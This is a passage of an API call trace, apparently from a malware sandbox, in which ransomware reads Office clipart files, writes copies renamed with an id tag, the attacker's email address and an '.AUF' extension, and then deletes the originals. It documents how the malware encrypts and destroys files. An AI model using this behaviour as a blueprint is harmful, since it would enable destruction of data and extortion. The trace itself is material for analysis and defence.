(lpString=".1cd") returned 4 [0216.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0216.787] lstrlenW (lpString=".jpg") returned 4 [0216.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.787] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=40206) returned 1 [0216.787] CloseHandle (hObject=0x214) returned 1 [0216.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x20 [0216.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0216.788] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.788] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0216.788] GetLastError () returned 0x0 [0216.788] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x9d0e, lpOverlapped=0x0) returned 1 [0216.795] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x9d10, lpOverlapped=0x0) returned 1 [0216.796] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.796] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.796] SetEndOfFile (hFile=0x1f4) returned 1 [0216.796] CloseHandle (hObject=0x1f4) returned 1 [0216.796] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.796] SetEndOfFile (hFile=0x214) returned 1 [0216.797] CloseHandle (hObject=0x214) returned 1 [0216.797] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.797] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 1 [0216.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0216.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0216.797] lstrlenW (lpString=".doc") returned 4 [0216.797] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.797] lstrlenW (lpString=".docx") returned 5 [0216.797] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.797] lstrlenW (lpString=".pdf") returned 4 [0216.797] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.797] lstrlenW (lpString=".xls") returned 4 [0216.797] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.797] lstrlenW (lpString=".xlsx") returned 5 [0216.797] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.797] lstrlenW (lpString=".ppt") returned 4 [0216.797] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0216.797] lstrlenW (lpString=".zip") returned 4 [0216.797] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.797] lstrlenW (lpString=".rar") returned 4 [0216.797] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.798] lstrlenW (lpString=".bz2") returned 4 [0216.798] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.798] lstrlenW (lpString=".7z") returned 3 [0216.798] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0216.798] lstrlenW (lpString=".dbf") returned 4 [0216.798] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0216.798] lstrlenW (lpString=".1cd") returned 4 [0216.798] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0216.798] lstrlenW (lpString=".jpg") returned 4 [0216.798] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.798] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=47786) returned 1 [0216.798] CloseHandle (hObject=0x214) returned 1 [0216.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x20 [0216.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0216.798] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.798] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0216.799] GetLastError () returned 0x0 [0216.799] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0xbaaa, lpOverlapped=0x0) returned 1 [0216.807] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xbab0, lpOverlapped=0x0) returned 1 [0216.808] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.808] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.808] SetEndOfFile (hFile=0x1f4) returned 1 [0216.808] CloseHandle (hObject=0x1f4) returned 1 [0216.808] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.808] SetEndOfFile (hFile=0x214) returned 1 [0216.809] CloseHandle (hObject=0x214) returned 1 [0216.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 1 [0216.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0216.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0216.810] lstrlenW (lpString=".doc") returned 4 [0216.810] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.810] lstrlenW (lpString=".docx") returned 5 [0216.810] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.810] lstrlenW (lpString=".pdf") returned 4 [0216.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.810] lstrlenW (lpString=".xls") returned 4 [0216.810] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.810] lstrlenW (lpString=".xlsx") returned 5 [0216.810] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.810] lstrlenW (lpString=".ppt") returned 4 [0216.810] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0216.810] lstrlenW (lpString=".zip") returned 4 [0216.810] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.810] lstrlenW (lpString=".rar") returned 4 [0216.810] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.810] lstrlenW (lpString=".bz2") returned 4 [0216.810] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.810] lstrlenW (lpString=".7z") returned 3 [0216.810] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0216.810] lstrlenW (lpString=".dbf") returned 4 [0216.810] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0216.810] lstrlenW (lpString=".1cd") returned 4 [0216.810] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0216.810] lstrlenW (lpString=".jpg") returned 4 [0216.810] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.811] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=14540) returned 1 [0216.811] CloseHandle (hObject=0x214) returned 1 [0216.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x20 [0216.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0216.811] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.811] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0216.811] GetLastError () returned 0x0 [0216.811] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x38cc, lpOverlapped=0x0) returned 1 [0216.818] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x38d0, lpOverlapped=0x0) returned 1 [0216.819] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.819] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.819] SetEndOfFile (hFile=0x1f4) returned 1 [0216.819] CloseHandle (hObject=0x1f4) returned 1 [0216.819] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.819] SetEndOfFile (hFile=0x214) returned 1 [0216.820] CloseHandle (hObject=0x214) returned 1 [0216.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 1 [0216.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0216.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0216.820] lstrlenW (lpString=".doc") returned 4 [0216.820] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.820] lstrlenW (lpString=".docx") returned 5 [0216.820] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.821] lstrlenW (lpString=".pdf") returned 4 [0216.821] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.821] lstrlenW (lpString=".xls") returned 4 [0216.821] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.821] lstrlenW (lpString=".xlsx") returned 5 [0216.821] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.821] lstrlenW (lpString=".ppt") returned 4 [0216.821] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0216.821] lstrlenW (lpString=".zip") returned 4 [0216.821] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.821] lstrlenW (lpString=".rar") returned 4 [0216.821] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.821] lstrlenW (lpString=".bz2") returned 4 [0216.821] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.821] lstrlenW (lpString=".7z") returned 3 [0216.821] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0216.821] lstrlenW (lpString=".dbf") returned 4 [0216.821] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0216.821] lstrlenW (lpString=".1cd") returned 4 [0216.821] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0216.821] lstrlenW (lpString=".jpg") returned 4 [0216.821] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.821] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=20554) returned 1 [0216.821] CloseHandle (hObject=0x214) returned 1 [0216.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x20 [0216.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0216.822] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.822] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0216.822] GetLastError () returned 0x0 [0216.822] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x504a, lpOverlapped=0x0) returned 1 [0216.834] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x5050, lpOverlapped=0x0) returned 1 [0216.835] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.835] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.835] SetEndOfFile (hFile=0x1f4) returned 1 [0216.835] CloseHandle (hObject=0x1f4) returned 1 [0216.835] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.835] SetEndOfFile (hFile=0x214) returned 1 [0216.836] CloseHandle (hObject=0x214) returned 1 [0216.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.836] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 1 [0216.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0216.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0216.837] lstrlenW (lpString=".doc") returned 4 [0216.837] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.837] lstrlenW (lpString=".docx") returned 5 [0216.837] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.837] lstrlenW (lpString=".pdf") returned 4 [0216.837] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.837] lstrlenW (lpString=".xls") returned 4 [0216.837] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.837] lstrlenW (lpString=".xlsx") returned 5 [0216.837] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.837] lstrlenW (lpString=".ppt") returned 4 [0216.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0216.837] lstrlenW (lpString=".zip") returned 4 [0216.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.837] lstrlenW (lpString=".rar") returned 4 [0216.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.837] lstrlenW (lpString=".bz2") returned 4 [0216.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.837] lstrlenW (lpString=".7z") returned 3 [0216.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0216.837] lstrlenW (lpString=".dbf") returned 4 [0216.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0216.837] lstrlenW (lpString=".1cd") returned 4 [0216.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0216.837] lstrlenW (lpString=".jpg") returned 4 [0216.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.837] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=7966) returned 1 [0216.837] CloseHandle (hObject=0x214) returned 1 [0216.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x20 [0216.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0216.838] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.838] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0216.838] GetLastError () returned 0x0 [0216.838] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x1f1e, lpOverlapped=0x0) returned 1 [0217.070] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x1f20, lpOverlapped=0x0) returned 1 [0217.071] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, 